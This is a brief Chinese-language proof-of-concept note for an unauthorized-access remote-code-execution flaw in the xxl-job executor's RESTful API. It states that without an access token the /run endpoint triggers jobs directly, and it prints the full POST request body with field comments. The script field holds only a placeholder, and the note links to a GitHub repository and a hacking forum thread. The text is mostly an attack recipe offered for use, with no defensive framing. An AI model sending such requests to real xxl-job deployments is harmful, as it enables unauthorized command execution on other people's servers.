xxl-job 执行器 RESTful API 未授权访问 RCE.md

xxl-job 执行器 RESTful API 未授权访问 RCE

PoC：

以restful API 来看，看官方文档 xxl-job/XXL-JOB官方文档.md ，在没有access token的情况下 ，可以直接触发任务

POST {执行器内嵌服务跟地址}/run

    {
        "jobId":1,                                  // 任务ID
        "executorHandler":"demoJobHandler",         // 任务标识
        "executorParams":"demoJobHandler",          // 任务参数
        "executorBlockStrategy":"COVER_EARLY",      // 任务阻塞策略，可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum
        "executorTimeout":0,                        // 任务超时时间，单位秒，大于零时生效
        "logId":1,                                  // 本次调度日志ID
        "logDateTime":1586629003729,                // 本次调度日志时间
        "glueType":"BEAN",                          // 任务模式，可选值参考 com.xxl.job.core.glue.GlueTypeEnum
        "glueSource":"xxx",                         // GLUE脚本代码
        "glueUpdatetime":1586629003727,             // GLUE脚本更新时间，用于判定脚本是否变更以及是否需要刷新
        "broadcastIndex":0,                         // 分片参数：当前分片
        "broadcastTotal":0                          // 分片参数：总分片
    }

jas502n：https://github.com/jas502n/xxl-job

https://forum.ywhack.com/thread-114622-1-5.html